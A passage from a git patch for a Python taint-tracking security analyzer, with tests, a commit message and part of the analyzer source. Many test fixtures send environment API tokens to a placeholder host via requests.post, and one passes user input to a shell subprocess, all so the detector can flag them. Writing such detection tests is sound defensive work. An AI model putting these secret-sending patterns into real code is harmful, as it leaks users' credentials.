def fetch(url, headers): + return requests.get(url, headers=headers) + """ + ) + caller = _code( + """ + def main(): + headers = {"Authorization": os.getenv("API_TOKEN")} + print(headers) + fetch("https://example.invalid/v1", {"Accept": "application/json"}) + """ + ) + # Definition order must not matter either way. + for body in (helper + caller, caller + helper): + assert _flows("import os, requests\n" + body) == [] + + def test_same_local_name_in_two_functions_is_not_shared(self) -> None: + code = _code( + """ + import os, requests + def read_token(): + token = os.getenv("API_TOKEN") + return len(token) + def send_public(): + token = "public" + requests.post("https://example.invalid", data=token) + """ + ) + assert _flows(code) == [] + + def test_method_parameter_named_like_a_tainted_local_is_not_tainted(self) -> None: + code = _code( + """ + import os, requests + class Client: + def check(self): + token = os.getenv("API_TOKEN") + return bool(token) + def send(self, token): + requests.post("https://example.invalid", data=token) + Client().send("public") + """ + ) + assert _flows(code) == [] + + def test_local_shadowing_a_tainted_global_is_not_tainted(self) -> None: + code = _code( + """ + import os, requests + TOKEN = os.getenv("API_TOKEN") + def send(): + TOKEN = "public" + requests.post("https://example.invalid", data=TOKEN) + """ + ) + assert _flows(code) == [] + + def test_only_the_parameter_receiving_the_secret_is_tainted(self) -> None: + code = _code( + """ + import os, requests + def upload(url, payload): + requests.get(url) # CLEAN + requests.post(url, data=payload) # SINK + def main(): + upload("https://example.invalid", os.getenv("API_TOKEN")) + """ + ) + assert [f.start_line for f in _flows(code)] == [_line(code, "# SINK")] + + def test_instance_attributes_are_per_class(self) -> None: + code = _code( + """ + import os, requests + class Secret: + def __init__(self): + self.token = os.getenv("API_TOKEN") + class Public: + def __init__(self): + self.token = "public" + def send(self): + requests.post("https://example.invalid", data=self.token) + """ + ) + assert _flows(code) == [] + + +class TestInterproceduralFlows: + """Scoping must not lose flows that cross function boundaries.""" + + def test_helper_return_assigned_to_the_same_name(self) -> None: + code = _code( + """ + import os, requests + def get_key(): + key = os.getenv("API_KEY") + return key + def send(): + key = get_key() + requests.post("https://example.invalid", data=key) # SINK + """ + ) + assert [f.start_line for f in _flows(code)] == [_line(code, "# SINK")] + + def test_helper_return_assigned_to_another_name(self) -> None: + code = _code( + """ + import os, requests + def get_key(): + return os.getenv("API_KEY") + def send(): + value = get_key() + requests.post("https://example.invalid", data=value) # SINK + """ + ) + assert [f.start_line for f in _flows(code)] == [_line(code, "# SINK")] + + def test_helper_called_inside_the_sink_arguments(self) -> None: + code = _code( + """ + import os, requests + def get_key(): + return os.environ["API_KEY"] + requests.post("https://example.invalid", data=get_key()) + """ + ) + (finding,) = _flows(code) + assert "'get_key()'" in finding.message + + def test_chained_helper_returns(self) -> None: + code = _code( + """ + import os, requests + def raw(): + return os.getenv("API_KEY") + def normalized(): + return raw().strip() + requests.post("https://example.invalid", data=normalized()) + """ + ) + assert len(_flows(code)) == 1 + + def test_secret_bound_to_a_parameter(self) -> None: + for call in ( + "upload(secret)", + "upload(payload=secret)", + "upload(*[secret])", + "upload(**{'payload': secret})", + 'upload(os.getenv("API_KEY"))', + ): + code = _code( + f""" + import os, requests + def upload(payload): + requests.post("https://example.invalid", data=payload) + def main(): + secret = os.getenv("API_KEY") + {call} + """ + ) + assert len(_flows(code)) == 1, call + + def test_varargs_kwargs_and_defaults_receive_secrets(self) -> None: + for definition, call in ( + ("def send(*value):", 'send("x", os.getenv("API_KEY"))'), + ("def send(**value):", 'send(key=os.getenv("API_KEY"))'), + ('def send(value=os.getenv("API_KEY")):', "send()"), + ): + code = _code( + f""" + import os, requests + {definition} + requests.post("https://example.invalid", data=value) + {call} + """ + ) + assert len(_flows(code)) == 1, definition + + def test_function_passed_as_a_callback_receives_following_arguments(self) -> None: + for call in ( + "threading.Thread(target=upload, args=(secret,)).start()", + "executor.submit(upload, secret)", + ): + code = _code( + f""" + import os, requests, threading + def upload(body): + requests.post("https://example.invalid", data=body) + def main(executor): + secret = os.getenv("API_KEY") + {call} + """ + ) + assert len(_flows(code)) == 1, call + + def test_global_assigned_inside_a_function(self) -> None: + code = _code( + """ + import os, requests + def configure(): + global TOKEN + TOKEN = os.getenv("API_TOKEN") + def send(): + requests.post("https://example.invalid", data=TOKEN) + """ + ) + assert len(_flows(code)) == 1 + + def test_closures_and_nested_functions(self) -> None: + """Nested functions see enclosing locals and bind arguments lexically.""" + free_variable = _code( + """ + import os, requests + def outer(): + token = os.getenv("API_TOKEN") + def inner(): + requests.post("https://example.invalid", data=token) + inner() + """ + ) + bound_argument = _code( + """ + import os, requests + def outer(): + token = os.getenv("API_TOKEN") + def inner(value): + requests.post("https://example.invalid", data=value) + inner(token) + """ + ) + nonlocal_rebinding = _code( + """ + import os, requests + def outer(): + token = None + def load(): + nonlocal token + token = os.getenv("API_TOKEN") + load() + requests.post("https://example.invalid", data=token) + """ + ) + for code in (free_variable, bound_argument, nonlocal_rebinding): + assert len(_flows(code)) == 1, code + + def test_instance_attribute_set_in_init(self) -> None: + code = _code( + """ + import os, requests + class Client: + def __init__(self): + self.token = os.getenv("API_TOKEN") + def send(self): + token = self.token + requests.post("https://example.invalid", data=token) + """ + ) + assert len(_flows(code)) == 1 + + def test_constructor_argument_stored_on_self(self) -> None: + code = _code( + """ + import os, requests + class Client: + def __init__(self, token): + self.token = token + def send(self): + requests.post("https://example.invalid", headers={"A": self.token}) + Client(os.getenv("API_TOKEN")).send() + """ + ) + assert len(_flows(code)) == 1 + + def test_class_attribute_read_through_self(self) -> None: + code = _code( + """ + import os, requests + class Client: + TOKEN = os.getenv("API_TOKEN") + def send(self): + requests.post("https://example.invalid", headers={"A": self.TOKEN}) + """ + ) + assert len(_flows(code)) == 1 + + def test_attribute_set_in_base_class_read_in_subclass(self) -> None: + code = _code( + """ + import os, requests + class Base: + def __init__(self): + self.token = os.getenv("API_TOKEN") + class Child(Base): + def send(self): + requests.post("https://example.invalid", data=self.token) + """ + ) + assert len(_flows(code)) == 1 + + def test_method_calls_bind_arguments(self) -> None: + on_instance = _code( + """ + import os, requests + class Api: + def upload(self, body): + requests.post("https://example.invalid", data=body) + def main(): + api = Api() + api.upload(os.getenv("API_TOKEN")) + """ + ) + on_self = _code( + """ + import os, requests + class Api: + def _send(self, body): + requests.post("https://example.invalid", data=body) + def run(self): + self._send(os.getenv("API_TOKEN")) + """ + ) + static = _code( + """ + import os, requests + class Api: + @staticmethod + def send(body): + requests.post("https://example.invalid", data=body) + Api.send(os.getenv("API_TOKEN")) + """ + ) + for code in (on_instance, on_self, static): + assert len(_flows(code)) == 1, code + + def test_user_input_reaching_exec_through_a_helper(self) -> None: + code = _code( + """ + import subprocess + def run(command): + subprocess.run(command, shell=True) + run(input()) + """ + ) + assert len(_flows(code, "TT5")) == 1 + + def test_recursive_helpers_terminate(self) -> None: + code = _code( + """ + import os, requests + def ping(value): + requests.post("https://example.invalid", data=value) + return pong(value) + def pong(value): + return ping(value) + ping(os.getenv("API_TOKEN")) + """ + ) + assert len(_flows(code)) == 1 + + def test_token_from_helper_header_builder_reaches_request(self) -> None: + """A token loaded by a helper, put in an auth header and sent, is TT3.""" + code = _code( + """ + import os, requests + def load_token(): + token = os.getenv("SERVICE_TOKEN") # SOURCE + return token.strip() if token else None + def auth_headers(token=None): + if token is None: + token = load_token() + return {"Authorization": f"Bearer {token}"} + def service_get(url, *, headers=None): + request_headers = dict(headers or {}) + return requests.get(url, headers=request_headers) # SINK + def check(url): + return service_get(url, headers=auth_headers()) + """ + ) + (finding,) = _flows(code) + assert finding.start_line == _line(code, "# SINK") + assert f"(line {_line(code, '# SOURCE')}," in finding.message + + +class TestSourceLineAttribution: + """Messages cite the line of the source call, not of the last copy.""" + + def test_reassignment_chain_cites_the_source_line(self) -> None: + code = _code( + """ + import os, requests + secret = os.getenv("API_KEY") + first = secret + second = first + requests.post("https://example.invalid", data=second) + """ + ) + (finding,) = _flows(code) + assert "'second' from os.getenv (line 2," in finding.message + + def test_multiline_assignment_cites_the_source_call_line(self) -> None: + code = _code( + """ + import os, requests + payload = { + "user": "example", + "key": os.getenv("API_KEY"), # SOURCE + } + requests.post("https://example.invalid", json=payload) + """ + ) + (finding,) = _flows(code) + assert f"(line {_line(code, '# SOURCE')}," in finding.message + + def test_cross_function_flow_cites_the_callers_source_line(self) -> None: + code = _code( + """ + import os, requests + def upload(payload): + requests.post("https://example.invalid", data=payload) + def main(): + secret = os.getenv("API_KEY") # SOURCE + upload(secret) + """ + ) + (finding,) = _flows(code) + assert f"'payload' from os.getenv (line {_line(code, '# SOURCE')}," in finding.message + + +class TestInterproceduralBounds: + """Call binding goes through per-callee argument slots, so it stays linear.""" + + def test_many_same_named_methods_and_call_sites_bind_linearly(self, monkeypatch) -> None: + """N methods named ``put`` and N ``obj.put(secret)`` calls: O(N), not O(N^2).""" + count = 400 + classes = "\n".join( + f"class Store{i}:\n def put(self, value):\n return value" + for i in range(count) + ) + calls = "\n".join(f" store{i}.put(secret)" for i in range(count)) + code = ( + "import os\n" + f"{classes}\n" + "def main(" + ", ".join(f"store{i}" for i in range(count)) + "):\n" + ' secret = os.getenv("API_KEY")\n' + f"{calls}\n" + ) + calls_made = {"n": 0} + original = behavioral_taint_tracking._mark_targets + + def counting_mark_targets(*args, **kwargs): + calls_made["n"] += 1 + return original(*args, **kwargs) + + monkeypatch.setattr(behavioral_taint_tracking, "_mark_targets", counting_mark_targets) + start = time.monotonic() + sources = _collect(code, _capped_check_runtime(count * 200)) + elapsed = time.monotonic() - start + + # Every method's parameter is reached through the shared argument slot. + assert sum(1 for key in sources if key.endswith("..value")) == count + # A per-pair binding would fire count * count edges. + assert calls_made["n"] <= 10 * count + assert elapsed < 2.0 + + def test_positional_arguments_beyond_the_slot_cap_still_bind(self) -> None: + width = behavioral_taint_tracking._MAX_POSITIONAL_SLOTS + 4 + params = ", ".join(f"p{i}" for i in range(width)) + args = ", ".join('os.getenv("API_KEY")' if i == width - 1 else str(i) for i in range(width)) + code = ( + "import os, requests\n" + f"def send({params}):\n" + f' requests.post("https://example.invalid", data=p{width - 1})\n' + f"send({args})\n" + ) + assert len(_flows(code)) == 1 From 033b4cf18cbb1194df95b66d3ba7fb7df1aecb64 Mon Sep 17 00:00:00 2001 From: Narendran Raghavan Date: Wed, 7 Oct 2026 22:12:12 -0700 Subject: [PATCH 2/7] fix(taint): bound scoped taint and resolve calls per receiver and call site Review follow-up for the function-scoped taint keys. Resource bounds: - Keys are small integers built from a scope or class id plus the identifier. No key copies a qualified name per reference, so memory no longer grows as name length times references. A 10,000-character function name called with 100,000 arguments peaks at 98 MB, the same as main. - Redefinitions of a class merge into one class, and method lookups are cached, so same-named classes no longer cost a scan per call. 1 MB of `class C:` plus `C()` calls takes 4.9 s, where it overran a 30 s deadline by about 350 s. - check_runtime now also runs per statement, per function and per post-indexing loop, not only per visited node and per dequeue. Receivers. `obj.m(...)` resolves through obj's class, typed in obj's own scope: - self/cls and class objects; `Base.m(self, x)` passes self explicitly; - `x = C()`, `x: C = C()`, `with C() as x`, `self.attr = C()`; - `C().m()` and `cls().m()`; - super() and super(C, self), along the in-file MRO. `cls(...)` binds to `__init__`, and @property reads return the getter's value. Return values are read for every resolved receiver. Literal, library and builtin receivers never bind into module methods. Unknown receivers still bind arguments, but never for dunder methods. Classes. Attributes are per class. A store in C reaches a read in E when the two classes share a descendant (subclass, base, or mixin), so sibling subclasses no longer share attributes or methods. Hierarchies of more than 32 classes keep one shared namespace. Call-site context. Taint that reached a function only through its own parameters no longer enters its return value. Each call site reads its own arguments, so one caller's secret no longer taints every other call of a shared helper. Sources: - Each key keeps one fact per source (#754's per-variable source sets), and a sink reports the most severe rule. A helper's network or file source can no longer turn a TT3 into TT2 or TT4. - A source call nested in a sink is reported once, as a direct flow, rather than again as a tainted flow through a helper in the same sink. Scopes: - Lambdas and comprehensions are scopes. A walrus binds in the lambda, or in the function enclosing a comprehension. - Lambdas assigned to names are callable. - A comprehension's iterable flows into its targets. - Callback receivers may be attribute chains, constructors or parameters. Messages keep main's wording: the variable read at the sink and the line of the statement that last tainted it, with plain variables cited first. A baseline generated on main suppresses the same TT findings on this branch, both its exact fingerprints and its message-glob rules. On the corpus, 49 of the 78 findings both versions report keep identical text; 27 of the other 29 cited a same-named variable in another function. Corpus (141 Python skills): main 92 TT findings, this branch 109. - Removed: 11 name-clash findings. - Upgraded: 3 TT2 now TT3 on the same sink. - Added: 31 flows main missed. - Compared with the previous revision: no real flow is lost; 2 more flows are found through comprehension targets; 2 helper-return false positives are gone. - Of the 28 targets with changed TT findings, 1 changes recommendation and exit code, from a new TT3 where an environment API key is passed into an Authorization header. Tests: 144 taint tests, including #754's regression test. New tests cover every review finding, and the deadline expiring inside scope indexing, the statement loop and the worklist. 37 mutants of the new paths each fail a test. Signed-off-by: Narendran Raghavan Co-Authored-By: Claude Opus 5.5 --- .../analyzers/behavioral_taint_tracking.py | 2138 +++++++++++++---- .../test_behavioral_taint_tracking.py | 1008 +++++++- 2 files changed, 2648 insertions(+), 498 deletions(-) diff --git a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py index 08922448e..364f82929 100644 --- a/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py +++ b/src/skillspector/nodes/analyzers/behavioral_taint_tracking.py @@ -328,13 +328,20 @@ def _pick_rule(source_name: str, sink_name: str, is_direct: bool) -> str: return "TT1" if is_direct else "TT2" +_SEVERITY_RANK: dict[Severity, int] = { + Severity.LOW: 0, + Severity.MEDIUM: 1, + Severity.HIGH: 2, + Severity.CRITICAL: 3, +} + + class _TaintedVar(NamedTuple): - """One taint fact: data from ``source_call`` reaches the variable ``name``. + """One reported taint fact: data from ``source_call`` reaches ``name``. - ``lineno`` is the line of the original source call (``os.getenv(...)``, - ``input()``, ...), carried unchanged through every propagation step, so a - finding names where the data entered the program rather than the last - assignment that copied it. + ``lineno`` is the line of the statement that last tainted ``name`` (the + assignment, the call that bound a parameter), the wording earlier releases + used, so messages, exact baselines and message-glob rules keep matching. """ name: str @@ -342,13 +349,6 @@ class _TaintedVar(NamedTuple): lineno: int -class _Target(NamedTuple): - """A taint destination: a scope-qualified ``key`` and its display ``name``.""" - - key: str - name: str - - def _is_open_for_write(node: ast.Call) -> bool: """Heuristic: open() is a write sink if mode arg contains 'w' or 'a'.""" if len(node.args) >= 2 and isinstance(node.args[1], ast.Constant): @@ -361,50 +361,60 @@ def _is_open_for_write(node: ast.Call) -> bool: return False -def _find_source_in_expr( - node: ast.expr, - type_map: dict[str, str] | None = None, - aliases: dict[str, str] | None = None, - check_runtime: Callable[[], None] | None = None, -) -> tuple[str, int] | None: - """Find a source call anywhere in an expression tree (handles chained calls). - - Handles patterns like ``open("f").read()``, ``requests.get(url).text``, - and plain ``os.environ.get("K")``. Returns the source name and the line of - the source call itself. - """ - for child in ast.walk(node): - if check_runtime is not None: - check_runtime() - if not isinstance(child, ast.Call): - continue - name = resolve_call_name_typed(child, type_map, aliases) - if name is None or name not in _ALL_SOURCES: - continue - if name == "open" and _is_open_for_write(child): - continue - return name, child.lineno - return None +def _call_source( + node: ast.Call, + type_map: dict[str, str] | None, + aliases: dict[str, str] | None, +) -> str | None: + """Return the source a call reads (``os.getenv``, ``open`` for reading, ...).""" + name = resolve_call_name_typed(node, type_map, aliases) + if name is None or name not in _ALL_SOURCES: + return None + if name == "open" and _is_open_for_write(node): + return None + return name -def _direct_source( +def _direct_sources( node: ast.expr, - type_map: dict[str, str], + type_map: dict[str, str] | None, aliases: dict[str, str], check_runtime: Callable[[], None] | None = None, -) -> tuple[str, int] | None: - """Return the source (name, line) a value reads directly, if any.""" - found = _find_source_in_expr(node, type_map, aliases, check_runtime) - if found is not None: - return found - # Subscript sources like os.environ["KEY"] (also os aliased as `o`) + stop: Callable[[ast.AST], bool] | None = None, +) -> list[tuple[str, ast.AST]]: + """Every distinct source a value reads directly, in ``ast.walk`` order. + + Finds source calls anywhere in the expression (``open("f").read()``, + ``requests.get(url).text``, ``os.environ.get("K")``) and an + ``os.environ["K"]`` subscript (also ``os`` aliased) that is the whole + value. Returns ``(source name, source node)`` for the first occurrence of + each source. *stop* prunes subtrees whose sources are accounted elsewhere. + """ + found: dict[str, ast.AST] = {} + if stop is not None and stop(node): + return [] + queue: deque[ast.AST] = deque([node]) + while queue: + if check_runtime is not None: + check_runtime() + child = queue.popleft() + if isinstance(child, ast.Call): + name = _call_source(child, type_map, aliases) + if name is not None and name not in found: + found[name] = child + for grandchild in ast.iter_child_nodes(child): + if isinstance(grandchild, ast.expr_context): + continue + if stop is not None and stop(grandchild): + continue + queue.append(grandchild) if isinstance(node, ast.Subscript): base = resolve_dotted_name(node.value) if base is not None: base = apply_import_aliases(base, aliases) - if base and base in _CREDENTIAL_SOURCES: - return base, node.lineno - return None + if base and base in _CREDENTIAL_SOURCES and base not in found: + found[base] = node + return list(found.items()) def _find_nested_sources( @@ -430,234 +440,874 @@ def _find_nested_sources( # ── Lexical scopes ────────────────────────────────────────────────────── # -# Taint is keyed by scope-qualified variable keys rather than bare names, so a -# tainted local in one function cannot taint an unrelated same-named variable -# or parameter in another. Keys are plain strings: -# -# * module globals keep their bare name (``TOKEN``); -# * function locals and parameters are prefixed with the function's qualified -# name (``upload..payload``, ``Client.send..body``); -# * a class body and ``self.`` / ``cls.`` in its methods share one -# attribute namespace per in-module inheritance family (``Client.token``); -# * every callable group (see ``_ScopeIndex.callee_groups``) has argument slots -# (``upload()#0``, ``upload()#kw:payload``) and a return value -# (``upload()``). +# Taint is keyed by lexical scope rather than by bare name, so a tainted local +# in one function cannot taint an unrelated same-named variable or parameter +# in another. Keys are small integers (see ``_Keys``) built from a scope or +# class id plus the identifier the source spells; no key ever embeds a +# qualified name, so memory stays linear in the file even for very long names. # -# Lambdas and comprehensions are folded into their enclosing scope, and match -# captures do not bind: both resolve names more widely than Python does, which -# can only add taint, never drop it. +# * Names follow Python's rules: parameters and names bound in a function, +# lambda or comprehension are local to it unless declared ``global`` / +# ``nonlocal``; free names resolve through enclosing functions to the +# module; class bodies are visible only to their own statements. +# * ``self.x`` / ``cls.x`` / ``Class.x`` and class-body names are attributes of +# the class. A store in class C reaches a read in class E when C and E share +# a descendant (E is C, a subclass, a base, or a mixin combined with C), so +# sibling subclasses stay apart. Very large hierarchies share one namespace. +# * Calls to functions and methods defined in the file bind their arguments to +# the callee's parameters through per-callee argument slots, and read the +# callee's return value. Taint that reached a function only through its own +# parameters never enters its return value: each call site already reads its +# own arguments, so one caller's secret cannot taint other callers' results. _FunctionNode = ast.FunctionDef | ast.AsyncFunctionDef +_Comprehension = (ast.ListComp, ast.SetComp, ast.GeneratorExp, ast.DictComp) +# Values that can never be an instance of a class defined in this file. +_LITERAL_VALUES = ( + ast.Constant, + ast.JoinedStr, + ast.Dict, + ast.List, + ast.Set, + ast.Tuple, + ast.ListComp, + ast.SetComp, + ast.DictComp, + ast.GeneratorExp, +) -# Call-site positional arguments at or beyond this index (and anything after a -# ``*args`` unpacking) share one wildcard slot, keeping the per-definition -# binding work bounded by a constant. +# Call-site positional arguments at or beyond this parameter index (and +# anything after a ``*args`` unpacking) share one wildcard slot, keeping the +# per-definition binding work bounded by a constant. _MAX_POSITIONAL_SLOTS = 16 +# Inheritance components up to this many classes track attributes per class; +# larger ones share one attribute namespace, keeping the work linear. +_PRECISE_HIERARCHY_LIMIT = 32 + +# Higher-order calls that run a callback with the remaining arguments, and the +# position of the callback among their positional arguments. +_CALLBACK_POSITIONS: dict[str, int] = { + "Thread": 1, + "Process": 1, + "Timer": 1, + "submit": 0, + "map": 0, + "imap": 0, + "imap_unordered": 0, + "starmap": 0, + "apply": 0, + "apply_async": 0, + "map_async": 0, + "starmap_async": 0, + "run_in_executor": 1, + "to_thread": 0, + "call_soon": 0, + "call_soon_threadsafe": 0, + "call_later": 1, + "call_at": 1, + "partial": 0, + "start_new_thread": 0, +} +_CALLBACK_KEYWORDS = frozenset({"target", "function", "func", "fn", "callback"}) +_PROPERTY_DECORATORS = frozenset({"property", "cached_property", "abstractproperty"}) -@dataclass(eq=False) -class _ClassInfo: - node: ast.ClassDef - qualname: str - # Attribute-namespace prefix shared by the class's in-module inheritance - # family; assigned once every class in the module is known. - prefix: str = "" +_NO_OWNER = -1 +# How a flow changes the facts it carries (see ``_mark_targets``). +_ASSIGN = 0 # cites the flow's own line +_PASS = 1 # keeps the line of the fact it forwards +_RETURN = 2 # into a function's return value +_BIND = 3 # into a parameter, from a call site -@dataclass(eq=False) -class _FunctionInfo: - node: _FunctionNode - scope: _Scope - # (callable group key, number of leading parameters bound by the receiver) - groups: list[tuple[str, int]] = field(default_factory=list) +_SOURCE_NAMES = tuple(sorted(_ALL_SOURCES)) +_SOURCE_INDEX = {name: index for index, name in enumerate(_SOURCE_NAMES)} +# A fact label is ``2 * source index + from_parameter``. +_LABELS = 2 * len(_SOURCE_NAMES) + + +class _Keys: + """Dense integer ids for taint keys, with their owner and display name. + + A key's owner is the function whose locals it belongs to (or + ``_NO_OWNER``); its display is the spelling used in messages, kept as a + reference to identifiers already in the tree and joined only on output. + """ + + def __init__(self) -> None: + self.ids: dict[tuple[object, ...], int] = {} + self.owner: list[int] = [] + self.display: list[str | tuple[str, ...]] = [] + self.describe: list[tuple[object, ...]] = [] + + def get( + self, descriptor: tuple[object, ...], owner: int, display: str | tuple[str, ...] + ) -> int: + key = self.ids.get(descriptor) + if key is None: + key = self.fresh(owner, display, descriptor) + self.ids[descriptor] = key + return key + + def fresh( + self, owner: int, display: str | tuple[str, ...], descriptor: tuple[object, ...] + ) -> int: + key = len(self.owner) + self.owner.append(owner) + self.display.append(display) + self.describe.append(descriptor) + return key + + def name(self, key: int) -> str: + display = self.display[key] + return display if isinstance(display, str) else "".join(display) @dataclass(eq=False) class _Scope: - """One Python namespace: the module, a function body, or a class body.""" + """One Python namespace: module, function, lambda, comprehension or class body.""" - kind: str # "module" | "function" | "class" - qualname: str + kind: str + name: str parent: _Scope | None + id: int + # Function whose locals live here (comprehensions belong to theirs). + owner: int bound: set[str] = field(default_factory=set) declared_global: set[str] = field(default_factory=set) declared_nonlocal: set[str] = field(default_factory=set) class_info: _ClassInfo | None = None function: _FunctionInfo | None = None - @property - def prefix(self) -> str: - if self.class_info is not None: - return self.class_info.prefix - if self.kind == "function": - return f"{self.qualname}.." - return "" + +@dataclass(eq=False) +class _ClassInfo: + node: ast.ClassDef + scope: _Scope + parent: _Scope + logical: _LogicalClass | None = None + + +@dataclass(eq=False) +class _LogicalClass: + """Every ``class`` statement bound to one name in one scope (redefinitions merge).""" + + id: int + name: str + infos: list[_ClassInfo] = field(default_factory=list) + bases: list[_LogicalClass] = field(default_factory=list) + subclasses: list[_LogicalClass] = field(default_factory=list) + methods: set[str] = field(default_factory=set) + properties: set[str] = field(default_factory=set) + component: int = -1 + # Attribute namespace: the class itself, or its whole component when large. + unit: int = -1 + precise: bool = True + mro: list[_LogicalClass] = field(default_factory=list) + ancestors: set[int] = field(default_factory=set) + descendants: set[int] = field(default_factory=set) + # Classes sharing a descendant with this one (including itself). + sharing: list[_LogicalClass] = field(default_factory=list) + sharing_ids: set[int] = field(default_factory=set) + + +@dataclass(eq=False) +class _FunctionInfo: + node: _FunctionNode | ast.Lambda + scope: _Scope + kind: str = "function" # function | instance | class | static + # Groups whose return value this function produces. + groups: list[_Group] = field(default_factory=list) + + +@dataclass(eq=False) +class _Group: + """Functions reached through one callable name; they share argument slots.""" + + id: int + kind: str + label: str + functions: list[_FunctionInfo] = field(default_factory=list) + keyword_params: set[str] = field(default_factory=set) + has_kwarg: bool = False + slots: dict[object, int] = field(default_factory=dict) + returns: int | None = None + + def add(self, function: _FunctionInfo) -> None: + self.functions.append(function) + args = function.node.args + self.keyword_params.update(arg.arg for arg in args.args) + self.keyword_params.update(arg.arg for arg in args.kwonlyargs) + self.has_kwarg = self.has_kwarg or args.kwarg is not None + + +@dataclass(eq=False) +class _BindingSet: + """The callees one call site binds into, each with its receiver offset.""" + + id: int + members: tuple[tuple[_Group, int], ...] + targets: dict[object, tuple[int, ...]] = field(default_factory=dict) + + +@dataclass(eq=False) +class _CallInfo: + binding: _BindingSet | None + results: tuple[_Group, ...] + # Key of the call's value (return plus arguments), for in-file callees. + value: int | None + + +@dataclass(eq=False) +class _TypeInfo: + """What a variable or attribute is assigned, as far as call binding cares. + + A recorded binding that is neither an in-file instance nor unknown is a + literal, library object, function or module: no in-file method. + """ + + classes: list[_LogicalClass] = field(default_factory=list) + dynamic: bool = False # instance of a class or of any subclass (``cls()``) + unknown: bool = False # some value of unknown type + + +class _Receiver(NamedTuple): + classes: list[_LogicalClass] + dynamic: bool # may be any subclass instance (``self``, ``cls()``) + class_object: bool # the class itself rather than an instance + fallback: bool # unknown: may be an instance of any class in the file + + +_UNKNOWN_VALUE = object() +_KNOWN_VALUE = object() + + +def _parameters(args: ast.arguments) -> list[ast.arg]: + """Every parameter a function binds, in signature order.""" + params = [*args.posonlyargs, *args.args] + if args.vararg is not None: + params.append(args.vararg) + params.extend(args.kwonlyargs) + if args.kwarg is not None: + params.append(args.kwarg) + return params + + +def _decorator_name(decorator: ast.expr) -> str | None: + if isinstance(decorator, ast.Call): + decorator = decorator.func + if isinstance(decorator, ast.Name): + return decorator.id + if isinstance(decorator, ast.Attribute): + return decorator.attr + return None + + +def _method_kind(node: _FunctionNode) -> str: + names = {_decorator_name(decorator) for decorator in node.decorator_list} + if "staticmethod" in names or node.name == "__new__": + return "static" + if "classmethod" in names or node.name in ("__init_subclass__", "__class_getitem__"): + return "class" + return "instance" + + +def _receiver_offset(class_object: bool, kind: str) -> int: + """Leading parameters a call binds implicitly (``self`` / ``cls``).""" + if kind == "class": + return 1 + if kind == "instance": + return 0 if class_object else 1 + return 0 + + +def _root_name(node: ast.expr) -> str | None: + """The name at the root of ``a.b().c[0]``, if any.""" + while True: + if isinstance(node, ast.Name): + return node.id + if isinstance(node, (ast.Attribute, ast.Subscript)): + node = node.value + elif isinstance(node, ast.Call): + node = node.func + else: + return None + + +def _is_super_call(node: ast.expr) -> bool: + return ( + isinstance(node, ast.Call) and isinstance(node.func, ast.Name) and node.func.id == "super" + ) + + +def _callee_name(func: ast.expr) -> str | None: + if isinstance(func, ast.Name): + return func.id + if isinstance(func, ast.Attribute): + return func.attr + return None + + +def _noop() -> None: + return None + + +def _linearize(cls: _LogicalClass) -> list[_LogicalClass]: + """C3 method resolution order over in-file bases; DFS order if inconsistent.""" + order: list[_LogicalClass] = [] + pending: list[tuple[_LogicalClass, bool]] = [(cls, False)] + linearized: dict[int, list[_LogicalClass]] = {} + visiting: set[int] = set() + while pending: + current, expanded = pending.pop() + if current.id in linearized: + continue + if not expanded: + if current.id in visiting: # inheritance cycle through redefinitions + linearized[current.id] = [current] + continue + visiting.add(current.id) + pending.append((current, True)) + pending.extend((base, False) for base in reversed(current.bases)) + continue + visiting.discard(current.id) + sequences = [list(linearized.get(base.id, [base])) for base in current.bases] + sequences.append(list(current.bases)) + merged = [current] + while True: + sequences = [sequence for sequence in sequences if sequence] + if not sequences: + break + for sequence in sequences: + head = sequence[0] + if not any(head in other[1:] for other in sequences): + break + else: + merged = [] + break + merged.append(head) + for sequence in sequences: + if sequence[0] is head: + del sequence[0] + if not merged: + seen: set[int] = set() + stack = [current] + while stack: + item = stack.pop() + if item.id in seen: + continue + seen.add(item.id) + merged.append(item) + stack.extend(reversed(item.bases)) + linearized[current.id] = merged + order = linearized.get(cls.id, [cls]) + return order @dataclass(eq=False) class _ScopeIndex: """Lexical scopes of one module plus what is needed to bind call sites.""" - module: _Scope aliases: dict[str, str] type_map: dict[str, str] - # Assign / Return / Call nodes with their scope, in ``ast.walk`` order. - statements: list[tuple[ast.Assign | ast.Return | ast.Call, _Scope]] = field( - default_factory=list - ) + keys: _Keys = field(default_factory=_Keys) + scopes: list[_Scope] = field(default_factory=list) + # Assign / Return / Call / Lambda / comprehension nodes with their scope, + # in ``ast.walk`` order. + statements: list[tuple[ast.AST, _Scope]] = field(default_factory=list) call_scope: dict[ast.Call, _Scope] = field(default_factory=dict) + # Nodes evaluated in a different scope than their parent (lambda bodies, + # comprehension elements, targets and conditions). + scope_switch: dict[ast.AST, _Scope] = field(default_factory=dict) functions: list[_FunctionInfo] = field(default_factory=list) - classes: list[tuple[_ClassInfo, _Scope]] = field(default_factory=list) - # Callable group keys with at least one definition in this module. - groups: set[str] = field(default_factory=set) - class_bindings: dict[str, list[_ClassInfo]] = field(default_factory=dict) - classes_by_name: dict[str, list[_ClassInfo]] = field(default_factory=dict) - # Key of each method's receiver parameter (``self``/``cls``) -> its class. - self_keys: dict[str, _ClassInfo] = field(default_factory=dict) - _resolved: dict[tuple[_Scope, str], str] = field(default_factory=dict) - - def resolve(self, scope: _Scope, name: str) -> str: - """Return the key *name* refers to when read or written in *scope*. + lambdas: dict[ast.Lambda, _FunctionInfo] = field(default_factory=dict) + classes: list[_ClassInfo] = field(default_factory=list) + logical: list[_LogicalClass] = field(default_factory=list) + groups: dict[tuple[object, ...], _Group] = field(default_factory=dict) + function_groups: dict[int, list[_Group]] = field(default_factory=dict) + unit_groups: dict[tuple[int, str], list[_Group]] = field(default_factory=dict) + fallback_groups: dict[str, list[_Group]] = field(default_factory=dict) + definers: dict[tuple[int, str], list[_LogicalClass]] = field(default_factory=dict) + classes_by_key: dict[int, list[_LogicalClass]] = field(default_factory=dict) + # Key of each method's receiver parameter -> (class, whether it is ``cls``). + self_keys: dict[int, tuple[_LogicalClass, bool]] = field(default_factory=dict) + var_types: dict[int, _TypeInfo] = field(default_factory=dict) + # Raw bindings recorded while scoping, typed once classes are known. + name_stores: list[tuple[_Scope, str, object]] = field(default_factory=list) + attribute_stores: list[tuple[_Scope, ast.Attribute, object]] = field(default_factory=list) + lambda_bindings: list[tuple[_Scope, str, ast.Lambda]] 